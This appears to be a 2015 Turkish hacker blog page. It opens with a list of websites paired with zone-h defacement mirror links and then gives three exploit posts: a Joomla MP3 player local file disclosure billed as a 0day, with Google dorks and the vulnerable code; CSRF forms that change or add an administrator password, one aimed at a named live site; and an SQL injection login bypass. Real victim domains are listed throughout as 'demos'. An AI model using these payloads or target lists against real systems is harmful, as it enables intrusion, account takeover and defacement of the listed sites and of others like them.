http://www.zone-h.org/mirror/id/25242653

http://wwwrenolit.ru/
http://www.zone-h.org/mirror/id/25242688

http://www.alkorproof.ru/
http://www.zone-h.org/mirror/id/25242694

http://www.shreyalife.com/
http://zone-h.org/mirror/id/25242780

http://wwwsredastroy.ru/
http://zone-h.org/mirror/id/25242825

http://781313.ru/
http://zone-h.org/mirror/id/25241656

http://www.invest-shop.ru/
http://www.zone-h.org/mirror/id/25241832

http://www.e-lunch.ru/
http://www.zone-h.org/mirror/id/25241929

http://www.argon-prime.ru/
http://zone-h.org/mirror/id/25240768

http://www.flowers-dmitrov.ru/
http://zone-h.org/mirror/id/25240492

http://www.fotokar.ru
http://zone-h.org/mirror/id/25240625

http://www.rusbv.ru
http://zone-h.org/mirror/id/25240703

http://www.rusbeachvolley.ru/
http://zone-h.org/mirror/id/25240699

http://www.electrohouse.ru
http://zone-h.org/mirror/id/25240245

http://www.anapavisit.ru/
http://www.zone-h.org/mirror/id/25241004

http://www.almaz-electro.ru/product/
http://zone-h.org/mirror/id/25240165

http://www.board.ceramic-land.ru/cat
http://zone-h.org/mirror/id/25240283

http://www.51region.ru/forum/
http://zone-h.org/mirror/id/25240434

http://www.abccenter.ru/forum
http://zone-h.org/mirror/id/25240455

http://www.flowersd.mass.hc.ru
http://www.zone-h.org/mirror/id/25241363

http://vipautomobile.ru/info/sell
http://zone-h.org/mirror/id/25241427

http://www.76amur.ru/
http://www.zone-h.org/mirror/id/25241575

http://www.diell.ru/test
http://www.zone-h.org/mirror/id/25241596

http://www.ssrkk.ru/about
http://zone-h.org/mirror/id/25242111

http://www.glsm.ru
http://www.zone-h.org/mirror/id/25242100

13 Aralık 2015 Pazar

Joomla <= (Shape 5 MP3 Player 2.0) Local File Disclosure Exploit (0day)

~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : knockout@e-mail.com.tr
[~] Skype : knockoutr@msn.com
[~] HomePage : http://milw00rm.com - http://h4x0resec.blogspot.com
[~] Greetz :  b3mb4m, ZoRLu, KedAns-Dz ( milw00rm.com )
===================================================================
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|~Web App. : Joomla
|~Plugin : Shape 5 MP3 Player 2.0
|~Affected Version : 2.0
|~Software  : http://extensions.joomla.org/extension/shape-5-mp3-player
|~RISK : High
|~Google Dork :  inurl:"php?fileUrl="
|~Google Dork :  inurl:plugins/content/s5_media_player
===================================================================
======================Info=========================================
helper.php unconsciously encoded.
This is a very simple security measures, It was exposed to attack.
if base64 encrypting the file names
'fileurl'  function is used, and local files will be easily exposed.
============ Error line's in helper.php ===========================
<?php
$path = base64_decode($_REQUEST['fileurl']);
$base = basename($path);
$path1 = str_replace(' ','%20',$path);

header('Content-Description: File Transfer');
header('Content-Type:application/octet-stream');
header('Content-Transfer-Encoding: Binary');
header("Content-disposition: attachment; filename=\"".basename($path)."\"");
header('Content-Length: ' . filesize($path));
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
readfile($path1);
exit;
?>
======================================================================
======================== Tested on Demos  ============================
www.kraskinotv.ru
www.alexandra-pavlyuk.ru
www.kovspas.ru
www.asetkz.ru
www.cciheredia.cr
www.helicopterspray.com
www.kpu-karawang.go.id
www.practicalbioethics.org
www.iccfoundation.us
www.mixticius.net
www.stbarnabasdulwich.org
www.ahavathachim.com
www.dcbaptist.org
www.stjohnmansfield.org
www.ilyda.com
www.mountainviewchapel.com
www.biamd.org
www.lavingtonunited.org
www.cypressbible.org
www.brianmcgilloway.com
www.toneside.com
..
etc
..

Details: https://www.milw00rm.com/exploits/11867

10 Aralık 2015 Perşembe

iy10 Dizin Scripti - Multiple Vulnerabilities (CSRF & Authentication Bypass)

~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : knockout@e-mail.com.tr
[~] HomePage : http://milw00rm.com - http://h4x0resec.blogspot.com 
[~] Şeker Insanlar :  ZoRLu, ( milw00rm.com ), 
                      Septemb0x , BARCOD3 , _UnDeRTaKeR_ , BackDoor, DaiMon
       KedAns-Dz, b3mb4m
###########################################################
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|~Web App. : iy10 Dizin Scripti
|~Affected Version : All Version 
|~Software  : http://wmscripti.com/php-scriptler/iy10-dizin-scripti.html
|~RISK : High
|~Google Keyword :  "Sitenizi dizine eklemek için tıklayın !"
 ################++ DEMO ++ #######################################
http://www.servisservisi.com
http://dafv.net
http://toplist.anaforum.net
http://linkekle.xyz
http://sinbatanitim.com
http://www.dizinim.tk/yeniler/
http://www.alacaticesme.com/yeniler/
http://www.hgndata.com/yeniler/
http://www.toplist.biz.tr/yeniler/
################## ++ CSRF Admin Password Change Exploit ++ ######################################
<html>
  <body>
    <form action="http://www.servisservisi.com/admin/kullaniciayarlar.php" method="POST">
      <input type="hidden" name="kullaniciadi" value="knockout" />
      <input type="hidden" name="sifre" value="password" />
      <input type="hidden" name="Submit" value="Exploit!" />
   <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
################# ++ SQL Injection with Authentication Bypass ++###########################################
http://[TARGET]/admin 
ID: 'or' 1=1
PW : 'or' 1=1
############################################################

Gökhan Balbal 2.0 - Cross-Site Request Forgery Exploit (Add Admin)

~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : knockout@e-mail.com.tr
[~] HomePage : http://milw00rm.com - http://h4x0resec.blogspot.com 
[~] Şeker Insanlar :  ZoRLu, ( milw00rm.com ), 
                      Septemb0x , BARCOD3 , _UnDeRTaKeR_ , BackDoor, DaiMon
       KedAns-Dz, b3mb4m 
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|~Web App. : Gökhan Balbal
|~Affected Version : v2.0
|~Software  : http://wmscripti.com/php-scriptler/gokhan-balbal-kisisel-web-site-scripti.html
|~RISK : High
|~Google Keyword :  "DiL BECERiLERi" "HoBi" "TASARIM BECERiLERi"
 ################++ DEMO ++ #######################################
http://www.melihakturk.com
http://egemenft.com
http://onurarkan.ga
http://www.ferdikaya.net
http://www.serkanoduncu.com
http://denizmemege.com/
##################++ Exploit ++ ######################################
 <html>
  <body>
    <form action="http://[TARGET]/admin/ekleadmin2.php" method="POST">
      <input type="hidden" name="kadi" value="knockout" />
      <input type="hidden" name="sifre" value="password" />
      <input type="hidden" name="Submit" value="Exploit!" />
   <input type="submit" value="Submit request" />
    </form>
  </body>
</html>